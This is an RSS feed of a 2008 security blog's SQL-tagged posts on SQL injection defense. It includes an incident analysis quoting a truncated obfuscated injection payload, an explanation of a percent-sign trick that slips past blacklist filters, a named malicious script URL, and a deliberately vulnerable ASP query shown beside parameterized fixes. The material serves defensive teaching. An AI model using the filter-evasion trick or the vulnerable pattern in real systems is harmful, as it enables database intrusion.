<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://blogs.technet.com/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/"><channel><title>Neil Carpenter's Blog : SQL</title><link>http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx</link><description>Tags: SQL</description><dc:language>en-US</dc:language><generator>CommunityServer 2.1 SP1 (Build: 61025.2)</generator><item><title>SQL Injection Hijinks</title><link>http://blogs.technet.com/neilcar/archive/2008/10/31/sql-injection-hijinks.aspx</link><pubDate>Fri, 31 Oct 2008 23:07:00 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3145432</guid><dc:creator>neilcar</dc:creator><slash:comments>1</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3145432.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3145432</wfw:commentRss><description>&lt;P&gt;&lt;I&gt;or Why I Keep Harping On Blacklisting&lt;/I&gt;&lt;/P&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;&lt;B&gt;Summary:&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;An incident reveals attempts to get around blacklisting by manipulating behavior in ASP, illustrating the weakness of blacklist approaches.&lt;/P&gt;
&lt;P&gt;A new version of &lt;A href="http://blogs.iis.net/wadeh/archive/2008/10/31/urlscan-3-1.aspx" mce_href="http://blogs.iis.net/wadeh/archive/2008/10/31/urlscan-3-1.aspx"&gt;UrlScan is shipping today&lt;/A&gt; with a change specifically to address this.&lt;/P&gt;
&lt;P&gt;&lt;B&gt;Discussion:&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;I was working with a colleague on an incident last week that looked like a garden-variety SQL injection drive-by except for something interesting.&lt;/P&gt;
&lt;P&gt;While looking through the IIS logs from the affected server, I saw this:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;abc=120364DEC%LARE%20@S%20VAR%CHAR(4000)%3BS%ET%20@S%...&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;As I looked at this, "DEC%LARE", "VAR%CHAR", and "BS%ET" immediately stood out to me.&amp;nbsp; Obviously, the percent sign is usually used to escape something in a URL (like the %20's in there, which are spaces); however, this naked percent sign thrown in there didn't seem to have any purpose and should have caused SQL to not execute the code in question.&lt;/P&gt;
&lt;P&gt;When I see somebody do something like this, it's usually for a purpose so I took another look at it.&amp;nbsp; I realized that, if ASP silently stripped that percent sign out of there, then this would be an efficient way to bypass a lot of blacklist-based filters.&lt;/P&gt;
&lt;P&gt;I wrote a quick test ASP page(1) and found that my guess was right on -- ASP drops a percent sign from the query string if it isn't followed by two valid hex characters(0-9, A-F) when it actually interprets it via Request.QueryString.&amp;nbsp; This means that any filter that inspects raw headers using Request.ServerVariables is going to miss "DEC%LARE" if it is looking for "DECLARE" but, on the other hand, the ASP app that actually consumes that string using Request.QueryString("abc") is going to get it without the percent sign.&lt;/P&gt;
&lt;P&gt;&lt;B&gt;Conclusion:&lt;/B&gt;&lt;/P&gt;
&lt;P&gt;As this incident illustrates, a blacklist approach to SQL injection only works for as long as nobody finds a way around your blacklist.&amp;nbsp; As soon as somebody finds a way around it (and experience suggests that attackers are motivated to do so), the value of your blacklist is zero.&lt;/P&gt;
&lt;P&gt;The right approach is to fix the actual vulnerability in the code using parameterized queries.&amp;nbsp; See the articles below for more information and examples.&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;&lt;A title=http://msdn.microsoft.com/en-us/library/cc676512.aspx href="http://msdn.microsoft.com/en-us/library/cc676512.aspx" mce_href="http://msdn.microsoft.com/en-us/library/cc676512.aspx"&gt;http://msdn.microsoft.com/en-us/library/cc676512.aspx&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;A title="SQL Injection Mitigation- Using Parameterized Queries" href="http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx"&gt;SQL Injection Mitigation- Using Parameterized Queries&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;A title="SQL Injection Mitigation- Using Parameterized Queries part 2 (types and recordsets)" href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx"&gt;SQL Injection Mitigation- Using Parameterized Queries part 2 (types and recordsets)&lt;/A&gt;&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;The IIS team is releasing an update to UrlScan today that includes changes to address this in their filtering product.&amp;nbsp; Of course, as I've said over and and over, no filter-based approach is going to be perfect, but UrlScan is still an excellent defense-in-depth tool and a way to mitigate SQL injection vulns in the short term while your developers fix them.&lt;/P&gt;
&lt;P&gt;For more information on the UrlScan update, Wade Hilmo has all the details:&amp;nbsp; &lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;&lt;A href="http://blogs.iis.net/wadeh/archive/2008/10/31/urlscan-3-1.aspx" mce_href="http://blogs.iis.net/wadeh/archive/2008/10/31/urlscan-3-1.aspx"&gt;http://blogs.iis.net/wadeh/archive/2008/10/31/urlscan-3-1.aspx&lt;/A&gt;&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P mce_keep="true"&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;(1)&lt;/P&gt;
&lt;P&gt;&amp;lt;HTML&amp;gt; &lt;BR&gt;QUERY_STRING = &amp;lt;%= Request.ServerVariables("QUERY_STRING") %&amp;gt; &amp;lt;BR&amp;gt;&amp;nbsp; &lt;BR&gt;test =&amp;lt;%= Request.QueryString("test") %&amp;gt; &amp;lt;BR&amp;gt; &lt;BR&gt;&amp;lt;/HTML&amp;gt;&lt;/P&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3145432" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Incident+Response/default.aspx">Incident Response</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category><category domain="http://blogs.technet.com/neilcar/archive/tags/ASP/default.aspx">ASP</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Tool/default.aspx">Tool</category></item><item><title>Input Validation Is Not The Answer</title><link>http://blogs.technet.com/neilcar/archive/2008/08/07/input-validation-is-not-the-answer.aspx</link><pubDate>Thu, 07 Aug 2008 21:11:00 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3102263</guid><dc:creator>neilcar</dc:creator><slash:comments>2</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3102263.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3102263</wfw:commentRss><description>&lt;p&gt;I just sent a piece of e-mail to my team about input validation and SQL injection and it occurred to me that I've been meaning to get into this here, too:&lt;/p&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;p&gt;&lt;b&gt;If you're trying to solve a SQL injection problem, input validation is NOT the answer!&lt;/b&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;p&gt;There, I've said it. &amp;nbsp; I keep seeing blog posts, forum posts, e-mail, etc, that say "Oh, you got hax0red by SQL injection, you should have been doing input validation".&amp;nbsp; I'm sorry, but y'all are wrong, wrong, wrong, wrong.&amp;nbsp; Let me copy-and-paste my e-mail to explain why:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Your customer is failing to stop SQL injection because they don’t understand the problem (or, by extension, the solution).&lt;br&gt;&lt;br&gt;It sounds like the customer is trying to do input validation.&amp;nbsp; What input validation does is to check input coming from an untrusted user to make sure that it doesn’t contain any blacklisted characters/phrases.&amp;nbsp; Depending on the implementation, it either replaces items on the blacklist with something innocuous or it blocks the input entirely.&lt;br&gt;&lt;br&gt;This is the wrong way to stop SQL injection, period.&amp;nbsp; Input validation is sometimes useful as part of a defense-in-depth strategy but that’s it.&amp;nbsp; There are several major problems with input validation:&lt;br&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;It only works for as long as you’re smarter than your attackers because you have to anticipate every potential attack. &lt;/li&gt;&lt;li&gt;It doesn’t solve your real problem, which is that SQL can potentially execute something in input you get from your untrusted user. &lt;/li&gt;&lt;li&gt;You can end up with a lot of false positives if you’re not careful — if you’re blocking “exec”, what happens when one of your users has the title “Executive Assistant”?&lt;br&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;To use an analogy, using input validation to stop SQL injection is like using anti-virus software to stop malware.&amp;nbsp; It might work, it might not, but you’d be far better off if you actually resolved the vulnerability instead of just trying to mitigate it.&lt;br&gt;&lt;br&gt;How, then, should the customer fix their vulnerabilities?&amp;nbsp; Parameterizing queries is the single best step.&amp;nbsp; Instead of simply mitigating the vulnerability, this actually resolves it.&amp;nbsp; At a high level, I think of parameterized queries as DEP for SQL — it separates the executable code from the data and prevents anything in the data from executing.&lt;br&gt;&lt;br&gt;Bala Neeumalla wrote a great MSDN article on how to code in ASP to prevent SQL injection (&lt;a href="http://msdn.microsoft.com/en-us/library/cc676512.aspx" mce_href="http://msdn.microsoft.com/en-us/library/cc676512.aspx"&gt;http://msdn.microsoft.com/en-us/library/cc676512.aspx&lt;/a&gt;) that covers this in detail.&amp;nbsp; His article should be considered definitive.&amp;nbsp; I wrote a few blog entries (&lt;a href="http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx"&gt;http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx&lt;/a&gt;, &lt;a href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx"&gt;http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx&lt;/a&gt;) that have additional examples that might be helpful to the customer.&lt;br&gt;&lt;br&gt;Michael Howard also wrote a great blog entry regarding SQL injection and the SDL (&lt;a href="http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx" mce_href="http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx"&gt;http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx&lt;/a&gt;).&amp;nbsp; Besides using parameterized queries, there are two additional steps that can be taken to further protect an application:&lt;br&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Use properly designed stored procedures &lt;/li&gt;&lt;li&gt;Use SQL Execute-only permission so that the application can only execute the stored procedures and cannot execute other statements.&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;&lt;p&gt;This doesn't mean that input validation isn't useful and it doesn't mean it isn't appropriate mitigation in some cases.&amp;nbsp; It's still not the way to prevent SQL injection.&lt;/p&gt;&lt;p&gt;And I'm not just talking about&amp;nbsp; ASP, either.&amp;nbsp; The same thing holds true for ASP.Net, the same thing holds true for Cold Fusion (look up &lt;a href="http://livedocs.adobe.com/coldfusion/6.1/htmldocs/tags-b20.htm" mce_href="http://livedocs.adobe.com/coldfusion/6.1/htmldocs/tags-b20.htm"&gt;CFQueryParam&lt;/a&gt;), &lt;a href="http://java.sun.com/j2se/1.4.2/docs/api/java/sql/PreparedStatement.html" mce_href="http://java.sun.com/j2se/1.4.2/docs/api/java/sql/PreparedStatement.html"&gt;Java&lt;/a&gt;, etc, etc.&amp;nbsp; Wherever you query, there shall ye parameterize.&lt;br&gt;&lt;/p&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3102263" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category></item><item><title>SQL Storm:  Possible ASP.Net</title><link>http://blogs.technet.com/neilcar/archive/2008/06/04/sql-storm-possible-asp-net.aspx</link><pubDate>Thu, 05 Jun 2008 00:13:59 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3066167</guid><dc:creator>neilcar</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3066167.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3066167</wfw:commentRss><description>&lt;p&gt;I&amp;#8217;ve had an unconfirmed report that the SQL Storm attacks are now also affecting ASP.Net pages, specifically with a&amp;#160; URL of http://www.chliyi.com/m.js (this appears to be offline currently but I wouldn't suggest browsing there...) being injected into those pages.&amp;#160; My team hasn&amp;#8217;t worked on any incidents yet so I can&amp;#8217;t confirm that it is the same issue; however, it certainly looks very similar.&lt;/p&gt;  &lt;p&gt;This is a good time for me to remind everybody that Microsoft does provide no-cost support in the case of a security incident.&amp;#160; If you&amp;#8217;ve been affected, you can call 1-866-PCSAFETY in the United States &amp;amp; Canada.&amp;#160; Outside of that area, refer to &lt;a href="http://support.microsoft.com/common/international.aspx?rdpath=4"&gt;http://support.microsoft.com/common/international.aspx?rdpath=4&lt;/a&gt; to find the right contact information.&amp;#160; &lt;/p&gt;  &lt;p&gt;(Thanks to Erwin Geirnaert for the heads-up.)&lt;/p&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3066167" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category><category domain="http://blogs.technet.com/neilcar/archive/tags/asp.net/default.aspx">asp.net</category></item><item><title>SQL Injection:  Trends &amp; Guidance</title><link>http://blogs.technet.com/neilcar/archive/2008/05/30/sql-injection-trends-guidance.aspx</link><pubDate>Fri, 30 May 2008 19:17:11 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3063668</guid><dc:creator>neilcar</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3063668.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3063668</wfw:commentRss><description>&lt;p&gt;I've been working with the SWI team to write a comprehensive overview of the SQL Storm attacks with guidance for IT administrators, developers, and end users.&amp;#160; That article is posted at &lt;a title="sql-injection-attack.aspx" href="http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx"&gt;sql-injection-attack.aspx&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;For developers, specifically, Bala Neerumalla has written an excellent overview of SQL injection and classic ASP code for MSDN at &lt;a title="cc676512.aspx" href="http://msdn.microsoft.com/en-us/library/cc676512.aspx"&gt;cc676512.aspx&lt;/a&gt;.&amp;#160; This is well worth a read for any developer who has legacy ASP code running -- it covers a variety of scenarios and how to resolve them.&lt;/p&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3063668" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category><category domain="http://blogs.technet.com/neilcar/archive/tags/ASP/default.aspx">ASP</category></item><item><title>SQLInjectionFinder</title><link>http://blogs.technet.com/neilcar/archive/2008/05/27/sqlinjectionfinder.aspx</link><pubDate>Tue, 27 May 2008 20:51:23 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3061755</guid><dc:creator>neilcar</dc:creator><slash:comments>0</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3061755.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3061755</wfw:commentRss><description>&lt;p&gt;My colleague &lt;a href="http://www.codeplex.com/site/users/view/GCTech"&gt;Greg&lt;/a&gt;, who has forgotten more about command line scripting than I will ever know, put together a sample on CodePlex that automates finding SQL injection attacks from the ongoing &lt;a href="http://blogs.technet.com/neilcar/archive/2008/03/14/anatomy-of-a-sql-injection-incident.aspx"&gt;mass SQL injection attack&lt;/a&gt; (&amp;quot;SQL Storm&amp;quot;, as I saw it dubbed today).&amp;#160; This is a fairly convenient approach to searching logfiles on an IIS server.&amp;#160; &lt;/p&gt;  &lt;h3&gt;&lt;a href="http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&amp;amp;ReleaseId=13436"&gt;SQLInjectionFinder&lt;/a&gt; -- &lt;a title="http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&amp;amp;ReleaseId=13436" href="http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&amp;amp;ReleaseId=13436"&gt;http://www.codeplex.com/Release/ProjectReleases.aspx?ProjectName=WSUS&amp;amp;ReleaseId=13436&lt;/a&gt;&lt;/h3&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3061755" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Incident+Response/default.aspx">Incident Response</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category><category domain="http://blogs.technet.com/neilcar/archive/tags/Tool/default.aspx">Tool</category></item><item><title>SQL Injection Mitigation: Using Parameterized Queries part 2 (types and recordsets)</title><link>http://blogs.technet.com/neilcar/archive/2008/05/23/sql-injection-mitigation-using-parameterized-queries-part-2-types-and-recordsets.aspx</link><pubDate>Fri, 23 May 2008 19:18:00 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3060009</guid><dc:creator>neilcar</dc:creator><slash:comments>10</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3060009.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3060009</wfw:commentRss><description>&lt;P&gt;(Part 1 is &lt;A href="http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx" mce_href="http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx"&gt;here&lt;/A&gt;)&lt;/P&gt;
&lt;P&gt;Previously, I provided a simple example of using parameterized queries in classic ASP; however, that sample lacked a few things such as explicit typing for the parameters.&amp;nbsp; It also created a read-only ADODB.RecordSet which, obviously, isn't one-size-fits-all.&lt;/P&gt;
&lt;H2&gt;Typing&lt;/H2&gt;
&lt;P&gt;In the last installment, we had worked up this code to do our query:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;Set objConnection = Server.CreateObject("ADODB.Connection") &lt;BR&gt;objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Initial Catalog=website;User Id=user;Password=password;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Connect Timeout=15;Network Library=dbmssocn;" &lt;BR&gt;strSql = "SELECT name, info FROM [companies] WHERE name = ?;" &lt;BR&gt;set objCommand = Server.CreateObject("ADODB.Command") &lt;BR&gt;objCommand.ActiveConnection = objConnection &lt;BR&gt;objCommand.CommandText = strSql &lt;BR&gt;objCommand.Parameters(0).value = strSearch &lt;BR&gt;Set objSearchResults = objCommand.Execute()&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;As I noted then, this code has a minor performance issue because ADODB is going to have to made a round-trip to SQL to figure out the parameter type before it can execute the query.&amp;nbsp; We can fix this and do input validation by explicitly typing our parameters like this:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;Set objConnection = Server.CreateObject("ADODB.Connection") &lt;BR&gt;objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Initial Catalog=website;User Id=user;Password=password;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Connect Timeout=15;Network Library=dbmssocn;" &lt;BR&gt;strSql = "SELECT name, info FROM [companies] WHERE name = ?;" &lt;BR&gt;set objCommand = Server.CreateObject("ADODB.Command") &lt;BR&gt;objCommand.ActiveConnection = objConnection &lt;BR&gt;objCommand.CommandText = strSql &lt;BR&gt;&lt;STRONG&gt;set objParameter = objCommand.CreateParameter("search", adVarChar, adParamInput, 20) &lt;BR&gt;objCommand.Parameters.Append objParameter &lt;BR&gt;obParameter.value = strSearch&lt;/STRONG&gt; &lt;BR&gt;Set objSearchResults = objCommand.Execute()&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;Here, we are creating an explicit parameter with a type of adVarChar (ie, it's a string) that is an input parameter with a maximum length of 20.&amp;nbsp; We append the parameter to our ADODB.Command object and set the parameter's value to the search string we want in our command.&amp;nbsp; More info about ADODB.Parameter objects is &lt;A href="http://msdn.microsoft.com/en-us/library/ms681010(VS.85).aspx" mce_href="http://msdn.microsoft.com/en-us/library/ms681010(VS.85).aspx"&gt;here&lt;/A&gt;, more info about the possible types is &lt;A href="http://msdn.microsoft.com/en-us/library/ms675318(VS.85).aspx" mce_href="http://msdn.microsoft.com/en-us/library/ms675318(VS.85).aspx"&gt;here&lt;/A&gt;.&lt;/P&gt;
&lt;H2&gt;RecordSets&lt;/H2&gt;
&lt;P&gt;We may want to be able to write to the ADODB.RecordSet that we create; however, the code above won't work for that because it creates a recordset with the default parameters (Set objSearchResults = objCommand.Execute()).&amp;nbsp; If we want to be able to update the recordset, we have to create it with explicit parameters:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;Set objConnection = Server.CreateObject("ADODB.Connection") &lt;BR&gt;objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Initial Catalog=website;User Id=user;Password=password;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Connect Timeout=15;Network Library=dbmssocn;" &lt;BR&gt;strSql = "SELECT name, info FROM [companies] WHERE name = ?;" &lt;BR&gt;set objCommand = Server.CreateObject("ADODB.Command") &lt;BR&gt;objCommand.ActiveConnection = objConnection &lt;BR&gt;objCommand.CommandText = strSql &lt;BR&gt;set objParameter = objCommand.CreateParameter("search", adVarChar, adParamInput, 20) &lt;BR&gt;objCommand.Parameters.Append objParameter &lt;BR&gt;obParameter.value = strSearch &lt;BR&gt;&lt;STRONG&gt;Set objSearchResults = Server.CreateObject("ADODB.RecordSet") &lt;BR&gt;objSearchResults.Open objCommand,null,adOpenDynamic,adLockOptimistic&lt;/STRONG&gt;&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;Now, we are explicitly providing parameters to indicate that we want a dynamic cursor (adOpenDynamic) and that we want optimistic locking (adLockOptimistic).&amp;nbsp; This creates a recordset that can be updated via the RecordSet.Update method (&lt;A title=http://msdn.microsoft.com/en-us/library/ms676529(VS.85).aspx href="http://msdn.microsoft.com/en-us/library/ms676529(VS.85).aspx" mce_href="http://msdn.microsoft.com/en-us/library/ms676529(VS.85).aspx"&gt;http://msdn.microsoft.com/en-us/library/ms676529(VS.85).aspx&lt;/A&gt;).&lt;/P&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3060009" width="1" height="1"&gt;</description><category domain="http://blogs.technet.com/neilcar/archive/tags/Security/default.aspx">Security</category><category domain="http://blogs.technet.com/neilcar/archive/tags/SQL/default.aspx">SQL</category><category domain="http://blogs.technet.com/neilcar/archive/tags/ASP/default.aspx">ASP</category></item><item><title>SQL Injection Mitigation: Using Parameterized Queries</title><link>http://blogs.technet.com/neilcar/archive/2008/05/21/sql-injection-mitigation-using-parameterized-queries.aspx</link><pubDate>Wed, 21 May 2008 16:05:00 GMT</pubDate><guid isPermaLink="false">d5e57398-b9ef-4490-9955-07cbb4e4a80d:3058592</guid><dc:creator>neilcar</dc:creator><slash:comments>15</slash:comments><comments>http://blogs.technet.com/neilcar/comments/3058592.aspx</comments><wfw:commentRss>http://blogs.technet.com/neilcar/commentrss.aspx?PostID=3058592</wfw:commentRss><description>&lt;P&gt;Michael Howard wrote an excellent article yesterday on &lt;A href="http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx" mce_href="http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx"&gt;how the SDL addresses SQL injection&lt;/A&gt;.&amp;nbsp; He walks through three coding requirements/defenses:&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;Use SQL Parameterized Queries &lt;/LI&gt;
&lt;LI&gt;Use Stored Procedures &lt;/LI&gt;
&lt;LI&gt;Use SQL Execute-only Permissions &lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;As Michael points out, only the first, parameterized queries, remedies the problem.&amp;nbsp; The other two provide additional defense.&lt;/P&gt;
&lt;P&gt;The good news is that changing your ASP pages to use parameterized queries instead of just dynamically building the query is dead simple.&amp;nbsp; The bad news is that MSDN doesn't have a lot of samples of how to do parameterized queries in ASP so I thought providing one would be helpful.&lt;/P&gt;
&lt;P&gt;As an example, I'm sure that a lot of the websites that have been compromised recently via SQL injection have something like this:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;Set objConnection = Server.CreateObject("ADODB.Connection") &lt;BR&gt;objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Initial Catalog=website;User Id=user;Password=password;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Connect Timeout=15;Network Library=dbmssocn;" &lt;BR&gt;strSQL = "SELECT name, info FROM [companies] WHERE name =" &amp;amp; strSearch &amp;amp; "';" &lt;BR&gt;Set objSearchResults = objConnection.Execute(strSQL)&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;This code is going to be extremely vulnerable to SQL injection since it's just taking the user input (which was passed in via a query string from a web form) and pasting it into the SQL statement.&amp;nbsp; &lt;/P&gt;
&lt;P&gt;The good thing about parameterization is that it separates the 'executable' code ("SELECT name, info...") from the 'data' (strSearch) we're using.&amp;nbsp; With a few changes, we can make this code use parameters for the query and, with this small change, defend against being exploited in this way.&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;Set objConnection = Server.CreateObject("ADODB.Connection") &lt;BR&gt;objConnection.Open "Provider=SQLOLEDB;Data Source=SQLSERVER;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Initial Catalog=website;User Id=user;Password=password;" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "Connect Timeout=15;Network Library=dbmssocn;" &lt;BR&gt;strSql = "SELECT name, info FROM [companies] WHERE name = ?;" &lt;BR&gt;set objCommand = Server.CreateObject("ADODB.Command") &lt;BR&gt;objCommand.ActiveConnection = objConnection&lt;BR&gt;objCommand.CommandText = strSql &lt;BR&gt;objCommand.Parameters(0).value = strSearch &lt;BR&gt;Set objSearchResults = objCommand.Execute()&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;All that we needed to do was:&lt;/P&gt;
&lt;UL&gt;
&lt;LI&gt;Replace the query string in our SQL squery statement with a ? (which is the placeholder for a parameter). &lt;/LI&gt;
&lt;LI&gt;Create a new Command object for our command. &lt;/LI&gt;
&lt;LI&gt;Assign our active connection and command text to the Command object. &lt;/LI&gt;
&lt;LI&gt;Set the first parameter in the parameters collection to our dynamic string. &lt;/LI&gt;
&lt;LI&gt;Execute the command. &lt;/LI&gt;&lt;/UL&gt;
&lt;P&gt;If we needed to use multiple parameters in our query, we'd add additional question marks to strSQL and additional parameters to the Parameters collection.&amp;nbsp; For example:&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;...&lt;/P&gt;
&lt;P&gt;strSql = "SELECT name, info FROM [companies] WHERE name = ?" _ &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;amp; "AND info = ?;" &lt;BR&gt;... &lt;BR&gt;objCommand.Parameters(0).value = strName &lt;BR&gt;objCommand.Parameters(1).value = strInfo &lt;BR&gt;...&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
